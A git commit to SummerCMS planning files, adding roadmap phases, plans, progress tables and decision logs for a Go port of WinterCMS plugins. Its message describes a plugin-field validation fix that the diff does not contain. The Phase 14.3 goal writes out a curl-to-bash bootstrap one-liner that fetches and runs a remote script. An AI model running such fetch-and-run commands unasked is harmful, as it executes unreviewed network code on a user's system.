test(16.2): persist human verification items as UAT

liftMLValues validated only object-shaped submissions, so a scalar
submitted for a translatable plugin field reached Decode as nil, a
float64 or a bool although pact promises a string; a type that asserts
a string panicked into an opaque 500. decodePluginFields now passes a
string through, turns null into the empty string and refuses any other
value with a 422 on the field before Decode runs.

.planning/ROADMAP.md

@@ -30,6 +30,10 @@ Decimal phases appear between their surrounding integers in numeric order.
 - [ ] **Phase 14.2: Local Fonoteka frontend on local SummerCMS backend** - vue-fonoteka-app locally against fonoteka.go
 - [ ] **Phase 15: Journal plugin** - Port Golem15.Journal to sm-journal-plugin
 - [ ] **Phase 16: grzybyfunkcjonalne.pl on reusable blog views** - First blog on SummerCMS
+- [ ] **Phase 17: Blog companions** - Port sitemap, menu and FAQ as shared plugins, with a framework menu-item type registry
+- [ ] **Phase 18: Payment Gateway** - Port Golem15.PaymentGateway and its Stripe operator, with Horoskopia as the acceptance consumer
+- [ ] **Phase 19: Chat and ChatChannels** - Port Golem15.Chat and Golem15.ChatChannels on lighthouse
+- [ ] **Phase 19.1: Chat satellites** - Port chatbots, chatvideo, forum, herald and userfriends
 - [ ] **Phase 20: Płytarium cutover** - Parity harness green, both real clients run unchanged in production
 
 ## Phase Details
@@ -825,10 +829,21 @@ Plans:
   3. Failures against Go are visible (no silent fall-through to PHP); the local stack does not require the production origin.
   4. The new glue (env, proxy, CORS, run docs) has tests or a fail-closed check script, delivered in the phase's last plan.
 
-**Plans:** 0 plans
+**Plans:** 4 plans
 
 Plans:
-- [ ] TBD (run $gsd-plan-phase 14.2 to break down)
+
+**Wave 1**
+- [ ] 14.2-01-PLAN.md — Go glue: `fonoteka:dev-seed`, plugin commands open their own DB (G1), dev-only marker route, framework `/storage` mount and opt-in access log with docs
+
+**Wave 2** *(blocked on Wave 1 completion)*
+- [ ] 14.2-02-PLAN.md — `scripts/dev-stack.sh` (start, fail-closed guard, logs, e2e verdict), `.env.dev.example`, `.gitignore`, run docs
+
+**Wave 3** *(blocked on Wave 2 completion)*
+- [ ] 14.2-03-PLAN.md — Nuxt `E2E_BACKEND=go` switch, realtime rewrite, edit/rate/cover, search and wishlist specs on Go and PHP, Centrifugo origin step, manual UAT session
+
+**Wave 4** *(blocked on Wave 3 completion)*
+- [ ] 14.2-04-PLAN.md — Unit tests (seed, commands, marker, uploads mount, access log, switch contract) and `scripts/check-phase14.2.sh`
 
 ### Phase 14.2.1: Translate plugin (INSERTED)
 
@@ -869,6 +884,37 @@ Plans:
 - Nested locale writes are not dropped on the admin form path and on relation-child saves
 - The SPA lists every enabled locale, switches all ML controls together, and sends `Record<string,string>`
 
+### Phase 14.3: One-command app scaffolding: summer new and summercms.io/new bootstrap script (INSERTED)
+
+**Goal:** Starting a SummerCMS app takes one command. `summer new <name>` writes a ready-to-run `sm-<name>-app` next to the framework checkout, and `curl -fsSL https://summercms.io/new | bash -s -- <name>` checks the prerequisites, fetches the framework, installs the `summer` CLI and runs it. Ships as framework tag `v0.1.13`.
+**Requirements**: TBD
+**Depends on:** Phase 14.2.1
+**Repos:** `summercms.go` (generator, bootstrap script, docs); `sm-summercmsio-app` / `sm-summercmsio-plugin` (serve `/new` as `text/plain`)
+**Success Criteria** (what must be TRUE):
+
+  1. `summer new <name>` validates the name (lower-case letters and digits, starting with a letter), refuses an existing directory, and writes `go.mod` (module `git.golem15.com/golem15/sm-<name>-app`, go 1.27.0, relative `replace` to the framework found via `--framework`, then sibling detection by module path, else a clear error), `summer.yaml`, a starter plugin `golem15.<name>` through the `make:plugin`/`plugin:add` code paths with `go.work` (optional via `--no-plugin` if an empty plugin list builds), `config/` complete for `serve` and `route:list` (incl. `http.yaml` `body_limits`, app key, storage bucket defaults), `.env.example` and `.env` with a fresh app key, `.gitignore`, `compose.yaml` (PostgreSQL 16 matching `.env`), `CLAUDE.md`/`AGENTS.md`, and a first git commit (skippable with `--no-git`).
+  2. The generated app works with no edits: `summer build`, `summer migrate` and `summer serve` succeed and a starter-plugin route answers over HTTP.
+  3. The bootstrap script (wrapped in `main()`) checks Go 1.27+ and Docker, clones or fast-forwards the framework, runs `go install ./cmd/summer` with a PATH hint, runs `summer new`, and prints next steps; summercms.io serves it at `/new` as `text/plain`.
+  4. In a clean `node:24-bookworm`-style container with Go 1.27, Docker, git and jq, `curl … | bash -s -- demo` → `cd sm-demo-app && docker compose up -d && summer build && summer migrate && summer serve` ends with the starter route answering.
+  5. `docs/setup/installation.md` leads with the one-liner, `go-modules-and-workspaces.md` and the console docs cover `summer new`, and `llms.txt`/`llms-full.txt` include the changes; docs checks pass.
+  6. Generator Go tests (golden output plus a real build of the scaffold in a temp dir) are the last plan.
+
+**Plans:** 4/4 plans executed
+
+Plans:
+
+**Wave 1**
+- [x] 14.3-01-PLAN.md — `summer new` generator: starter plugin via make:plugin/plugin:add, relative go.work, config, .env + lagoon.GenerateAppKey, compose, CLAUDE.md/AGENTS.md, first commit, D-12 docker gate
+
+**Wave 2** *(blocked on Wave 1 completion)*
+- [x] 14.3-02-PLAN.md — Bootstrap script in `modules/sunrise`, `GET /new` in the site plugin, node:24-bookworm acceptance, security review
+
+**Wave 3** *(blocked on Wave 2 completion)*
+- [x] 14.3-03-PLAN.md — Docs (installation one-liner first, go modules, console, llms) and landing page "Get started" with its tests
+
+**Wave 4** *(blocked on Wave 3 completion)*
+- [x] 14.3-04-PLAN.md — Unit tests last: goldens, real builds, error cases, script matrix, phase gate; post-phase release checklist (tag v0.1.13, site bump, deploy are user actions)
+
 ### Phase 15: Journal plugin
 
 **Goal:** The Golem15 Journal plugin is ported to Go as `sm-journal-plugin` and mounts in a host application the same way `sm-user-plugin` does, so a blog can run on SummerCMS without the PHP plugin.
@@ -913,10 +959,191 @@ Plans:
   3. Public pages that PHP Journal + the current theme rendered have a named successor on Go; sitemap is in if the site still needs it.
   4. The new code has unit tests, delivered in the phase's last plan.
 
+**Plans:** 5/5 plans executed
+
+Plans:
+**Wave 1**
+- [x] 16-01-PLAN.md — vue-journal-layer: prerequisite gate (repos, D-20/D-21), git-tag install spike, Journal views, typed client, routes config, tokens, pl/en, SEO/sitemap/RSS; tag v0.1.0
+
+**Wave 2** *(blocked on Wave 1 completion)*
+- [x] 16-02-PLAN.md — vue-grzybyfunkcjonalne-app: SSR site on the layer with the PHP URL map, homepage/menu/FAQ/kontakt content port, GA via runtime config; submodule in the host
+
+**Wave 3** *(blocked on Wave 2 completion)*
+- [x] 16-03-PLAN.md — sm-grzybyfunkcjonalne-app: /gfadmin, app plugin with featured-image and category-content commands, migration runbook, two-process deploy files, urls.txt and local rehearsal
+
+**Wave 4** *(blocked on Wave 3 completion)*
+- [x] 16-04-PLAN.md — Staging deploy on the PHP site's server (human checkpoint) and smoke over every old URL
+
+**Wave 5** *(blocked on Wave 4 completion)*
+- [x] 16-05-PLAN.md — Unit tests: layer and app node --test (incl. SSR), Go command and boot tests, phase gate
+
+### Phase 16.1: Journal admin urgent fixes: relation search, list state, post form content and excerpt (INSERTED)
+
+**Goal:** The Journal posts list and post form in the admin work on real imported data, found on UAT (uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts): (1) list search no longer fails with "Server error" — the Go log shows `ERROR: column Categories.post_id does not exist (SQLSTATE 42703)` from summercms@v0.1.9 modules/cabana/query.go:129, i.e. search across a belongsToMany (pivot) relation builds a hasMany join; (2) list sort and filters are remembered after opening a record and going back, as WinterCMS persisted list state; (3) the post form shows the stored content (DB has content/content_html on 104/104 posts, the form shows it empty); (4) the post form shows the stored excerpt (100/104 posts have it in the DB). Fixes span summercms.go core (modules/cabana — coordinate with the concurrent session working in modules/) and sm-journal-plugin; release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.
+**Requirements**: TBD
+**Depends on:** Phase 16
+**Plans:** 3/3 plans complete
+
+Plans:
+**Wave 1**
+- [x] 16.1-01-PLAN.md — All fixes: cabana relation search and to-many sort through EXISTS/correlated subqueries (D-02), default locale first in form enabledLocales (D-03), Journal FormatHTML keeps raw HTML behind the gate (D-03), admin list state in the URL and browser storage (D-01)
+
+**Wave 2** *(blocked on Wave 1 completion)*
+- [x] 16.1-02-PLAN.md — Release gate (human), summercms tag, journal and host bumps, UAT redeploy and on-server smoke, re-save posts 53 and 64 (D-04)
+
+**Wave 3** *(blocked on Wave 2 completion)*
+- [x] 16.1-03-PLAN.md — Unit tests: DryRun SQL matrix, locale order, FormatHTML keep/refuse, list-state vitest; Postgres tests for a Docker host; phase gate
+
+### Phase 16.2: Plugin-provided field types and the Blog Editor formwidget (INSERTED)
+
+**Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content — beyond the current markdown field or a plain rich editor — that edits imported HTML posts losslessly.
+**Requirements**: TBD
+**Depends on:** Phase 16.1
+**Plans:** 6/6 plans executed
+
+Plans:
+**Wave 1**
+- [x] 16.2-01-PLAN.md — Framework (summercms.go): pact field-type API (human API checkpoint), cabana registry, boot option checks, Decode/Load/list in the save transaction, Decode notices as meta.notices (D-10 strip report), untouched skip, FieldWritesFromContext, field-types and field upload routes, OpenAPI and TS types, SPA PluginField/MLPluginField, global loader and notice display, dist, READMEs and docs
+- [x] 16.2-02-PLAN.md — Journal Blog Editor element (sm-journal-plugin assets/src to assets/dist): TipTap package check (human), untouched value contract, lossless schema and serializer, policy-safe links, uploads and YouTube embeds, the committed editor-output corpus, JS build, vitest, check-dist, embed
+
+**Wave 2** *(blocked on Wave 1 completion)*
+- [x] 16.2-03-PLAN.md — Journal Go integration: blogeditor and mlblogeditor types, strip-and-report Decode per locale (SanitizeHTMLReport), D-07 Load, post and category fields (category 422 gate retired), content_html companion writes without goldmark, bluemonday policy extended for the editor's own output (corpus test), editor uploads through the extracted media storage
+- [x] 16.2-04-PLAN.md — vue-journal-layer: sanitize-html mirror extended for the editor's own output (corpus copy), expandEmbeds as the last step after sanitizeJournalHtml, SSR proof, tag v0.2.0 (human push gate), pin in vue-grzybyfunkcjonalne-app
+
+**Wave 3** *(blocked on Wave 2 completion)*
+- [x] 16.2-05-PLAN.md — Release gate (human), summercms tag v0.1.18 (next free), journal and host bumps, UAT redeploy and on-server smoke, UAT acceptance: untouched re-saves byte-identical, editor edit with upload and embed, unsafe markup stripped and reported
+
+**Wave 4** *(blocked on Wave 3 completion)*
+- [x] 16.2-06-PLAN.md — Unit tests: resave contract at every layer, strip-and-report and notices, policy cross-check corpus (both policies, identical copies), category strip, full Go and JS coverage, Postgres tests for a Docker host, phase gate scripts/check-phase16.2.sh, validation map
+
+### Phase 16.3: Backend admin personal API tokens with scopes (INSERTED)
+
+**Goal:** Backend users can create personal API tokens with a scope they pick at creation time (for example Journal only, or system-wide; later read-only Payment Gateway), so an agent or integration can call the admin and plugin APIs as that backend user, with no more access than the token's scope and the user's own permissions allow. This is the successor of Apparatus `PersonalApiToken` (todo `backend-admin-api-tokens.md`, note `apparatus-dissolved-into-framework.md`) and reverses the Phase 15 D-15 rule that Journal writes accept only a backend JWT.
+**Requirements**: TBD
+**Depends on:** Phase 9, Phase 10, Phase 15
+**Repos:** `summercms.go` (bouncer guard, token model and migration, scope registry, admin SPA panel, CLI); `sm-journal-plugin` to register its scope and accept tokens on its write routes; host applications only for the version bump
+**Constraints from explore (2026-10-10):**
+  - Tokens keep the `g15_` prefix and are stored only as a hash. The rest of the format can change, and WinterCMS Apparatus tokens are not migrated.
+  - The user picks the scope when creating a token. Plugins register their own scopes. Scope design (names, read-only variants, system-wide) is settled in discuss-phase.
+  - Tokens are managed in two places, as in WinterCMS: a panel on the admin SPA backend user form (create, show once, revoke) and a `summer` CLI command.
+
+**Success Criteria** (what must be TRUE):
+
+  1. The `backend` guard accepts a valid, unexpired, unrevoked `g15_` token as well as the backend JWT, and the request runs as the token's backend user.
+  2. A request outside the token's scope is refused even when the user's role would allow it, and a token never grants more than its owner's permissions.
+  3. A backend user can create, list and revoke their own tokens in the admin SPA. The plaintext token is shown once. A CLI command does the same for any backend user.
+  4. The Journal API accepts a Journal-scoped token for writes, so an agent can manage blog posts as a backend author.
+  5. Module READMEs and `docs/` cover the token API, scopes and CLI commands.
+  6. The new code has unit tests, delivered in the phase's last plan.
+
 **Plans:** 0 plans
 
 Plans:
-- [ ] TBD (run $gsd-plan-phase 16 to break down)
+- [ ] TBD (run /msd-plan-phase 16.3 to break down)
+
+### Phase 17: Blog companions
+
+**Goal:** The sitemap, menu and FAQ plugins run on SummerCMS as shared `sm-*-plugin` repos, so a blog site can manage its menus, FAQs and sitemap in the admin again instead of hardcoding them in the Nuxt app.
+**Mode:** mvp
+**Depends on:** Phase 15, Phase 16
+**Repos:** `sm-sitemap-plugin`, `sm-menu-plugin`, `sm-faq-plugin` (new, under `git.golem15.com/golem15/`, see `.planning/notes/core-plugins-own-repos.md`); `summercms.go` for the menu-item type registry; `sm-journal-plugin` for an additive registration of its item types; `sm-grzybyfunkcjonalne-app` to move its FAQ and menu into the plugins
+**Port sources:** `Golem15.Sitemap` at `/media/nvme/dev/golem15/fonoteka/plugins/golem15/sitemap`; `Golem15.Menu` and `Golem15.Faq` at `/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/plugins/golem15/{menu,faq}`. Todos: `sitemap-plugin-port.md`, `menu-plugin-port.md`, `faq-plugin-port.md`. Inventory: `.planning/notes/core-plugin-port-inventory.md`.
+**Requirements**: TBD
+**Success Criteria** (what must be TRUE):
+
+  1. The three plugins port their PHP schema, models, admin screens and import commands 1:1, each in its own repo with a README.
+  2. The framework has a typed successor of the `pages.menuitem.listTypes`, `getTypeInfo` and `resolveItem` events. Journal registers its item types through it, and both menu and sitemap consume it.
+  3. `sitemap.xml` and `sitemap.xsl` match the PHP output, including the `frontend_url` domain rewrite and hreflang. Menu and FAQ expose public read APIs that a Nuxt layer can consume.
+  4. grzybyfunkcjonalne.pl reads its menu and FAQ from the plugins instead of app config.
+  5. The new code has unit tests, delivered in the phase's last plan.
+
+**Plans:** 0 plans
+
+Plans:
+- [ ] TBD (run $gsd-plan-phase 17 to break down)
+
+### Phase 18: Payment Gateway
+
+**Goal:** `Golem15.PaymentGateway` and its Stripe operator run on SummerCMS as shared plugins whose contracts let Horoskopia's horoscope plugin create orders, take payments and react to payment events, as it does on PHP.
+**Mode:** mvp
+**Depends on:** Phase 15
+**Repos:** `sm-paymentgateway-plugin` and `sm-pgstripe-plugin` (new, under `git.golem15.com/golem15/`); `summercms.go` only if a framework feature is missing
+**Port sources:** `Golem15.PaymentGateway` v2.6.0 and `Golem15.PGStripe`, at `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/{paymentgateway,pgstripe}` (starter submodule `wn-paymentgateway-plugin`, branch `upgrade`). Acceptance consumer: Horoskopia's `horoscope` plugin, which uses `Order`, `OrderFactory`, `Cart`/`Item`/`Details`, `Settings` and `Payment`.
+**Splits:** Stripe subscriptions (`Golem15.PaymentGatewaySubscriptions`, 5.5k LOC, used by Horoskopia and four other projects) and any further Stripe add-ons go into decimal phases 18.1, 18.2 and so on if the Phase 18 discussion decides they do not fit.
+**Requirements**: TBD
+**Success Criteria** (what must be TRUE):
+
+  1. Payment (Created, Sent, Accepted, Rejected, Canceled, Refunded) and Order (12 states, all refund paths) state machines port with the PHP transitions, and use exact decimal money.
+  2. Payment operators register at build time through a Go interface that succeeds `core/Operator` and the `paymentgateway.booted` config push. Cash, manual transfer and Stripe operators are implemented. The `_paymentgateway/{operator}/{mode?}/{result?}` notification route keeps its PHP behavior.
+  3. The Order and Payment events, their mail templates, the admin screens (orders, payments, settings) and the scheduled cancel/finish/update commands are ported. Plugin contracts (tables, event names, config keys) stay non-breaking.
+  4. A host test proves the order-create, Stripe-pay and order-paid flow that Horoskopia relies on.
+  5. The new code has unit tests, delivered in the phase's last plan.
+
+**Plans:** 0 plans
+
+Plans:
+- [ ] TBD (run $gsd-plan-phase 18 to break down)
+
+### Phase 18.1: Payment Gateway Subscriptions (INSERTED)
+
+**Goal:** The generic core of `Golem15.PaymentGatewaySubscriptions` and pgstripe's subscription gateway and webhook run on SummerCMS. Horoskopia's subscription flow (plans, checkout, Stripe webhook, `golem15.pgsub.*` events, cancel and portal) works as it does on PHP.
+**Mode:** mvp
+**Depends on:** Phase 18
+**Repos:** `sm-paymentgatewaysubscriptions-plugin` (new, under `git.golem15.com/golem15/`); a subpackage of `sm-pgstripe-plugin`; `vue-paymentgateway-layer`; `summercms.go` only if a framework feature is missing
+**Port sources:** `Golem15.PaymentGatewaySubscriptions` at `ac3d73c` plus `5fb9dac`, and pgstripe `8b47457`, at `/media/nvme/dev/golem15/horoskopia.eu/plugins/golem15/{paymentgatewaysubscriptions,pgstripe}`. Quotify's lead fees, featured placements and analytics are not ported here.
+**Requirements**: TBD
+**Success Criteria** (what must be TRUE):
+
+  1. Subscription and SubscriptionPlan port on a squashed, idempotent v2.4.0 baseline that adopts existing PHP databases, with polymorphic subscribers registered at build time and a built-in `user` subscribable.
+  2. The `SubscriptionGateway` contract (including `syncPlanToGateway`) has a Stripe implementation. `POST /webhook/stripe/subscriptions` and its legacy alias verify the event, enqueue a job and process it idempotently, and fire the six `golem15.pgsub.*` events.
+  3. The Subscriptions and SubscriptionPlans admin screens, a Go service API, a headless customer API and subscription components in `vue-paymentgateway-layer` are delivered.
+  4. A host test proves checkout, activation, `invoice.paid`, `past_due` with its grace period, cancel and duplicate-event idempotency against a Stripe fake.
+  5. The new code has unit tests, delivered in the phase's last plan.
+
+**Plans:** 0 plans
+
+Plans:
+- [ ] TBD (run /msd-plan-phase 18.1 to break down)
+
+### Phase 19: Chat and ChatChannels
+
+**Goal:** `Golem15.Chat` and `Golem15.ChatChannels` run on SummerCMS as shared plugins, with realtime delivery through `lighthouse`, ready for the Wavepath port.
+**Mode:** mvp
+**Depends on:** Phase 11
+**Repos:** `sm-chat-plugin` and `sm-chatchannels-plugin` (new, under `git.golem15.com/golem15/`); `summercms.go` only if `lighthouse` is missing a feature
+**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chat,chatchannels}`. Wavepath is the heaviest user. Check its copy (with `root_id` threading) against the starter's before choosing the source.
+**Requirements**: TBD
+**Success Criteria** (what must be TRUE):
+
+  1. The chat schema, models, adapters (context-agnostic groups), jobs, commands and routes port 1:1. ChatChannels plugs into chat through the same adapter contract.
+  2. Realtime broadcasts and channel authorization go through `lighthouse` (publisher, `Authorizer` per namespace). No WebSockets plugin is ported.
+  3. Public API payloads match PHP for the routes Wavepath's clients call.
+  4. The new code has unit tests, delivered in the phase's last plan.
+
+**Plans:** 0 plans
+
+Plans:
+- [ ] TBD (run $gsd-plan-phase 19 to break down)
+
+### Phase 19.1: Chat satellites
+
+**Goal:** The remaining shared plugins that Wavepath's app plugin requires run on SummerCMS: chatbots, chatvideo, forum, herald and userfriends.
+**Mode:** mvp
+**Depends on:** Phase 19
+**Repos:** one `sm-*-plugin` repo each, under `git.golem15.com/golem15/`
+**Port sources:** `/media/nvme/dev/jz/wavepath.org/plugins/golem15/{chatbots,chatvideo,forum,herald,userfriends}`
+**Requirements**: TBD
+**Success Criteria** (what must be TRUE):
+
+  1. Each plugin ports its schema, models, routes and events 1:1 against its PHP original.
+  2. Herald (Web Push) has a decision note naming its VAPID/Web Push dependency before code lands. Chatbots is wired to `sm-golem-plugin` where the PHP original calls Golem.
+  3. Userfriends is checked against fonoteka first, so there is one shared copy.
+  4. The new code has unit tests, delivered in the phase's last plan.
+
+**Plans:** 0 plans
+
+Plans:
+- [ ] TBD (run $gsd-plan-phase 19.1 to break down)
 
 ### Phase 20: Płytarium cutover
 
@@ -937,7 +1164,7 @@ Plans:
 ## Progress
 
 **Execution Order:**
-Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 → 11 → 12 → 13 → 14 → 14.1 → 14.2 → 15 → 16 → 20
+Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 → 9 → 10 → 11 → 12 → 13 → 14 → 14.1 → 14.2 → 14.2.1 → 14.3 → 15 → 16 → 17 → 18 → 18.1 → 19 → 19.1 → 20
 (Phase 2 depends on Phase 1's command kernel; the two are no longer parallel.)
 
 | Phase | Plans Complete | Status | Completed |
@@ -960,8 +1187,14 @@ Phases execute in numeric order: 1 → 2 → 3 → 4 → 5 → 6 → 7 → 8 →
 | 14. Domain jobs and external integrations | 6/6 | In Progress|  |
 | 14.1. OAuth identities and fonoteka me routes (INSERTED) | 2/2 | Complete    | 2026-10-05 |
 | 14.2. Local Fonoteka frontend on local SummerCMS backend (INSERTED) | 0/TBD | Not started | - |
+| 14.3. One-command app scaffolding (INSERTED) | 4/4 | In Progress|  |
 | 15. Journal plugin | 4/4 | Complete   | 2026-10-06 |
-| 16. grzybyfunkcjonalne.pl on reusable blog views | 0/TBD | Not started | - |
+| 16. grzybyfunkcjonalne.pl on reusable blog views | 5/5 | In Progress|  |
+| 17. Blog companions | 0/TBD | Not started | - |
+| 18. Payment Gateway | 0/TBD | Not started | - |
+| 18.1. Payment Gateway Subscriptions | 0/TBD | Not started | - |
+| 19. Chat and ChatChannels | 0/TBD | Not started | - |
+| 19.1. Chat satellites | 0/TBD | Not started | - |
 | 20. Płytarium cutover | 0/TBD | Not started | - |
 
 ## Backlog

.planning/STATE.md

@@ -1,19 +1,20 @@
 ---
-gsd_state_version: "1.0"
+msd_state_version: "1.0"
 milestone: v1.0
-current_phase: 15
-current_phase_name: Journal plugin
-status: executing
-stopped_at: Completed 15-04-PLAN.md
-last_updated: "2026-10-07T16:43:18.298Z"
-last_activity: 2026-10-07
-last_activity_desc: Completed quick task 261006-s0v (remove ML copy-from locale UI)
-state_head: fa25b4e000fac864b949be6daa4f800a4511a458
+current_phase: "16.2"
+current_phase_name: Plugin-provided field types and the Blog Editor formwidget
+status: verifying
+stopped_at: Phase 16.3 context gathered
+last_updated: "2026-10-10T14:21:46.539Z"
+last_activity: 2026-10-10
+last_activity_desc: Phase 16.2 execution started
+state_head: 9652834ca02230d338888344c5bb0d0c0550abed
 progress:
-  total_phases: 26
-  completed_phases: 12
-  total_plans: 135
-  completed_plans: 135
+  total_phases: 35
+  completed_phases: 13
+  total_plans: 157
+  completed_plans: 153
+gsd_state_version: "1.0"
 milestone_name: milestone
 ---
 
@@ -24,14 +25,14 @@ milestone_name: milestone
 See: .planning/PROJECT.md (updated 2026-09-16)
 
 **Core value:** An existing WinterCMS-shaped app can be ported plugin by plugin to a single Go binary without its frontend noticing: the PHP version's API contract is the acceptance test.
-**Current focus:** Phase 15 — Journal plugin
+**Current focus:** Phase 16.2 — Plugin-provided field types and the Blog Editor formwidget
 
 ## Current Position
 
-Phase: 15 (Journal plugin) — EXECUTING
-Plan: 4 of 4
-Status: Ready for phase verification
-Last activity: 2026-10-07 — Completed quick task 261007-p4y: toggle sizing and settings controller links
+Phase: 16.2 (Plugin-provided field types and the Blog Editor formwidget) — EXECUTING
+Plan: 6 of 6
+Status: Phase complete — ready for verification
+Last activity: 2026-10-10 - Completed quick task 261010-iwu: Blog Editor live preview pane
 
 Progress: [██████████] 100%
 
@@ -189,6 +190,24 @@ Progress: [██████████] 100%
 | Phase 15 P15-01 | 11 | 3 tasks | 31 files |
 | Phase 15 P15-02 | 75 min | 3 tasks | 39 files |
 | Phase 15 P15-03 | 80 min | 3 tasks | 22 files |
+| Phase 14.3 P01 | 13 min | 3 tasks | 17 files |
+| Phase 14.3 P02 | 11 min | 3 tasks | 11 files |
+| Phase 14.3 P03 | 9min | 3 tasks | 13 files |
+| Phase 14.3 P04 | 19min | 3 tasks | 32 files |
+| Phase 16 P01 | 1h 34m | 4 tasks | 55 files |
+| Phase 16 P02 | 16 min | 3 tasks | 44 files |
+| Phase 16 P03 | 22 min | 3 tasks | 32 files |
+| Phase 16 P04 | 40min | 3 tasks | 10 files |
+| Phase 16 P05 | 19 min | 3 tasks | 27 files |
+| Phase 16.1 P01 | 11 min | 4 tasks | 20 files |
+| Phase 16.1 P02 | 1h 26m | 3 tasks | 4 files |
+| Phase 16.1 P03 | 12 min | 3 tasks | 8 files |
+| Phase 16.2 P01 | 34min | 4 tasks | 51 files |
+| Phase 16.2 P02 | 25min | 3 tasks | 24 files |
+| Phase 16.2 P03 | 13min | 3 tasks | 21 files |
+| Phase 16.2 P04 | 50 min | 3 tasks | 15 files |
+| Phase 16.2 P05 | 25 min | 3 tasks | 7 files |
+| Phase 16.2 P06 | 43min | 3 tasks | - files |
 
 ## Accumulated Context
 
@@ -210,6 +229,11 @@ Progress: [██████████] 100%
 - Phase 16 added: grzybyfunkcjonalne.pl on reusable blog views
 - Phase 20 edited: Płytarium production cutover moved here from Phase 15
 - Phase 14.2.1 inserted after Phase 14.2: sm-translate-plugin so Journal can keep translatable fields (URGENT)
+- Phase 14.3 inserted after Phase 14.2.1: One-command app scaffolding: summer new + summercms.io/new bootstrap script; ships as v0.1.13 (URGENT)
+- Phase 18.1 inserted after Phase 18: Payment Gateway Subscriptions (split from Phase 18 per 18-CONTEXT D-01)
+- Phase 16.1 inserted after Phase 16: Journal admin urgent fixes: relation search, list state, post form content and excerpt (found on UAT) (URGENT)
+- Phase 16.2 inserted after Phase 16.1: Plugin-provided field types and the Blog Editor formwidget
+- Phase 16.3 inserted after Phase 16: Backend admin personal API tokens with user-selected scopes (Journal agent writes as backend author); successor of Apparatus PersonalApiToken (URGENT)
 
 ### Decisions
 
@@ -603,6 +627,56 @@ Recent decisions affecting current work:
 - [Phase 15]: NavigationItem has no IconSvg; journal-icon.svg is go:embed in AdminFS; user_id is WritableForeignKey and FormBeforeCreate stamps it when empty
 - [Phase 15]: 15-04 security review was executor-self-performed (no gsd-security-auditor in this Cursor session); every cited TestName was re-run. Wave-3 HTTP tests stay at plugin root; controllers/api holds clampPerPage/media path units plus EndToEnd stubs.
 - [Phase 15]: Host journal gitlink is a nested clone; bump via file:// fetch with protocol.file.allow=always. TestSearchGateOff must not skip.
+- [Phase 14.3]: bonfire accepts new as a bare command name for summer new
+- [Phase 14.3]: summer new compose.yaml publishes postgres:16 on 127.0.0.1:54320 only (user/password summer)
+- [Phase 14.3]: summer new falls back to SummerCMS <summer@localhost> only for missing git identity keys
+- [Phase 14.3]: plugin:add writes go.work use paths relative to the go.work directory
+- [Phase 14.3]: Bootstrap script lives in modules/sunrise (new.sh + Script()); served by the site plugin at GET /new as text/plain
+- [Phase 14.3]: new.sh installs summer with GOWORK=off and never deletes, resets or force-fetches; refusals for branch, dirty, moved-tag and non-fast-forward checkouts
+- [Phase 14.3]: 14.3-03: the gated terminal check stops summer serve's app binary (pkill -P) before summer, since summer serve has no signal handling
+- [Phase 14.3]: Phase 14.3 gate is scripts/check-phase14.3.sh --all: one process per stage (unit, generator, bootstrap, terminal, acceptance, security), a named PASS line per required test, goldens unchanged by the run
+- [Phase 14.3]: summer new goldens live in internal/build/testdata/new and new-no-plugin and are rewritten only with go test -update; the golden app key is base64 of bytes 0x00..0x1f
+- [Phase 14.3]: Tests that commit in temp git repos disable detached auto maintenance (maintenance.auto=false, gc.auto=0) to avoid cleanup races with git 2.55
+- [Phase 16]: vue-journal-layer pages gate and slim API rows in useAsyncData transforms (toPostView/toListPost) so the SSR payload never carries unsafe HTML, raw content or translations
+- [Phase 16]: Journal SSR, sitemap and RSS fetches forward x-forwarded-for with the Nuxt peer address appended
+- [Phase 16]: vue-grzybyfunkcjonalne-app is a private repo checked over SSH; only vue-journal-layer must be public (D-04)
+- [Phase 16]: Journal author links use author.login (only key on post rows); the author page canonicalises to the endpoint slug
+- [Phase 16]: Under routeRules swr the site app records the visitor address in event.context (Nitro request hook) and overrides useJournalApi, because Nitro's cached handler strips request headers; the proper fix belongs in vue-journal-layer
+- [Phase 16]: Site page URLs answer errors with the HTML error page even for fetch-like requests (server/plugins/html-errors.ts); /api/, /_ and .json paths keep Nuxt JSON errors
+- [Phase 16]: Site rich-text copy stays in pl.json (i18n compilation.strictMessage false); contact data lives in app/data/contact.ts
+- [Phase 16]: Plugin commands in a summer-build host open and publish the database themselves (lookupDB via lagoon); the journal import runs as grzyby:import-posts because the generated main.go publishes no DB for plugin commands
+- [Phase 16]: migrate.sh imports from a copy of the PHP export with empty translations [] arrays normalized to {}; the importer fix is deferred to sm-journal-plugin
+- [Phase 16]: The URL rehearsal gives each URL its own X-Forwarded-For visitor (203.0.113.N) so ~90 SSR pages stay under Go's 120/min per-visitor journal limit
+- [Phase 16]: The staging nginx image location declares its own types map and matches extensions case-insensitively so images keep an image type under nosniff
+- [Phase 16]: 16-04: staging keeps the UAT basic-auth gate (off for loopback via nginx geo); smoke and curl checks run on the server
+- [Phase 16]: 16-04: staging host is uat.grzybyfunkcjonalne.pl; first-journal-post skipped in the import so Go serves the 62 live posts
+- [Phase 16]: 16-04: fileblob uploads bucket uses no_tmp_dir=true because /tmp on the server is tmpfs
+- [Phase 16]: No layer util needed a fix in 16-05, so vue-journal-layer gets no v0.1.1 tag; the app keeps v0.1.0
+- [Phase 16]: The malformed-GA-id SSR test asserts the id appears only as the JSON string in window.__NUXT__.config, since Nuxt serializes public runtime config
+- [Phase 16]: The grzyby console test harness creates an ICU pl-PL database via GRZYBY_TEST_ADMIN_DSN or testcontainers and fails, not skips, without one outside -short
+- [Phase 16.1]: Relation list search uses correlated EXISTS for every relation type (no outer JOIN); to-many sort uses a correlated string_agg subquery; names come from GORM's parsed relationship
+- [Phase 16.1]: meta.enabledLocales lists the default content locale first, then the writer's order
+- [Phase 16.1]: Journal FormatHTML renders raw HTML (goldmark WithUnsafe) behind the unchanged rejectUnsafe gate
+- [Phase 16.1]: List state: URL plus per-list localStorage key summer-admin.list:<controller>, restored before the first list request, cleared on logout
